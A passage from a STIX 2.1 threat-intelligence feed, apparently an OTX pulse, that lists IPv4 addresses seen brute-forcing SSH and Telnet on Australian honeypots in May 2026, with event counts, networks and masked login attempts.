      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T16:15:11.000Z",
      "valid_until": "2026-06-16T16:15:08.000Z"
    },
    {
      "created": "2026-05-15T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--1f2c0456-dffc-407c-a78d-a8348e735b56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.225.93.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T16:15:11.000Z",
      "valid_until": "2026-06-16T16:15:08.000Z"
    },
    {
      "created": "2026-05-15T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 37532. Organisation(s): ZAMREN. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d985bc83-d534-4477-902f-23da092a5570",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.63.63.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T16:15:11.000Z",
      "valid_until": "2026-06-16T16:15:08.000Z"
    },
    {
      "created": "2026-05-15T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A..",
      "id": "indicator--55a46024-0e2a-42e3-a93a-0798fef04e18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.193.147.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T16:15:11.000Z",
      "valid_until": "2026-06-16T16:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--7833ef9c-3483-4849-a7f6-d47663caa8f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.233.243.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 53221. Organisation(s): ENGETRONICS INTERNET DATACENTER. Usernames observed (masked): r**t. Passwords observed (masked): r*****4.",
      "id": "indicator--b27c0d02-2836-4a10-8989-218b36a807f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.250.240.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--2003ea1a-14a4-46e1-b831-0a2b46eef94c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.104.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--22588eb4-1a80-4822-ba46-3e4efe92570d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): a***n, 1****6, r**t.",
      "id": "indicator--4d5b209f-7f6c-496b-b61c-db0080652f59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.35.162.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r**t, 3**********4, j******3, j******a, l***x. Passwords observed (masked): l******3, !*******E, 1****6, 1******S, 3***********4.",
      "id": "indicator--b9e0318a-2e59-47ae-8157-d66e471a10e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.139.202.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d55773ec-7464-427a-825f-ece72a9b4003",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.184.95.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T17:15:10.000Z",
      "valid_until": "2026-06-16T17:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 385. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 142383. Organisation(s): PT Vaiotech Lintas Nusantara. Usernames observed (masked): r**t, 3**********4, s**********c, d*********r, l***x. Passwords observed (masked): 3***********4, 3**********4, w******t, l******3, !**b.",
      "id": "indicator--6b9d3faa-1a98-43ab-8bac-457d13e3fb6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.172.20.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 314. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133662. Organisation(s): SHREENET. Usernames observed (masked): r**t, 3**********4, s**********c, d*********r, l***x. Passwords observed (masked): w******t, 3***********4, 3**********4, l******3, 1****d.",
      "id": "indicator--cf527067-5042-44cb-a05f-0392de37abd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.138.6.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 315. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, s**********c, d*********r, l***x. Passwords observed (masked): w******t, 3***********4, 3**********4, l******3, *.",
      "id": "indicator--3d79e10c-c74e-4480-8af5-6b091f10453a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.131.3.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 386. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION. Usernames observed (masked): r**t, 3**********4, s**********c, u**********r, d*********r. Passwords observed (masked): 3***********4, 3**********4, w******t, l******3, *.",
      "id": "indicator--b295e714-5f74-4849-b54f-f2d73aa4f4d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.195.210.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264071. Organisation(s): HOPNET TELECOM LTDA.",
      "id": "indicator--d404f37a-f12a-465c-82b8-a24e483422f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.137.47.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A.. Usernames observed (masked): r**t, s**********c, l***x, u**********r. Passwords observed (masked): l******3, w******t, 1**********3, 1******., 2*******7.",
      "id": "indicator--9e755b2b-684b-41a3-b548-fecbefb2eae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.123.136.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t. Passwords observed (masked): a***n, g***t, r**t, t**r, u**r.",
      "id": "indicator--ce700558-7ba4-410a-b054-4f721f11f15a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.101.98.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263309. Organisation(s): LaraNet Telecomunicacoes e Servicos EIRALI.",
      "id": "indicator--e3f95801-c33d-472d-bdb5-e406528f5ea5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.7.36.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PY. ASN(s): 27866. Organisation(s): COMPANIA PARAGUAYA DE COMUNICACIONES S.A. COPACO S.A.. Usernames observed (masked): r**t, 3**********4, d*********r, p*****i, z******u. Passwords observed (masked): 3**********4, *, 1******n, 1**3, 3***********4.",
      "id": "indicator--a1d5f11c-c2c8-4888-b02f-71bb4ca3a161",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.217.12.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 48728. Organisation(s): Vodafone Qatar P.Q.S.C.",
      "id": "indicator--65bfe2e9-64b1-4cba-8155-5a80ec5f08fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.70.99.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--21bedc93-ca57-492e-8797-ca7f4ac37da5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 385. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, s**********c, d*********r, l***x. Passwords observed (masked): 3***********4, 3**********4, w******t, l******3, !**b.",
      "id": "indicator--8a819923-198a-4ee4-91a0-1c24849158a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.0.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269359. Organisation(s): CANAA TELECOMUNICACOES LTDA - ME.",
      "id": "indicator--229a8231-66a0-4b90-94dc-0848ab756819",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.184.68.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--af031915-bd64-4443-b01d-ca43c666e44a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.180.144.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--27c92a37-e717-4e21-b7d2-19cecae824f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 9141. Organisation(s): Play.",
      "id": "indicator--0b48ba9a-2b24-4985-95ae-0f3776b3a738",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.74.7.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T18:15:10.000Z",
      "valid_until": "2026-06-16T18:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--6049aee7-cbcd-49f3-ba05-0bff7be90cfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.169.23.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): 1*************7.",
      "id": "indicator--7ae3a9bf-b1ff-4f3b-ba73-fa7c8d1e4322",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.104.70.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--17c22d43-3dc6-430a-ab9e-5250c1353aa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.139.104.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--21fb2e8b-8c3a-478d-a731-670ea91e6c99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.186.7.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7cddfa5f-9298-4263-b446-c3d11b977b73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.103.104.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--1f732671-1058-49d4-8d74-4154808ba66b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 31122. Organisation(s): Digiweb ltd.",
      "id": "indicator--0c8c5ab9-b528-42a1-9331-ecd9236ac490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.203.56.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T19:15:10.000Z",
      "valid_until": "2026-06-16T19:15:08.000Z"
    },
    {
      "created": "2026-05-15T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9416. Organisation(s): Hoshin Multimedia Center Inc..",
      "id": "indicator--835b904c-95aa-434f-ab19-0434ab01f651",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.185.227.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:15:05.000Z",
      "valid_until": "2026-06-16T20:15:03.000Z"
    },
    {
      "created": "2026-05-15T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--1c01babd-d352-48c1-9795-e8e61a17220e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.136.93.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:15:05.000Z",
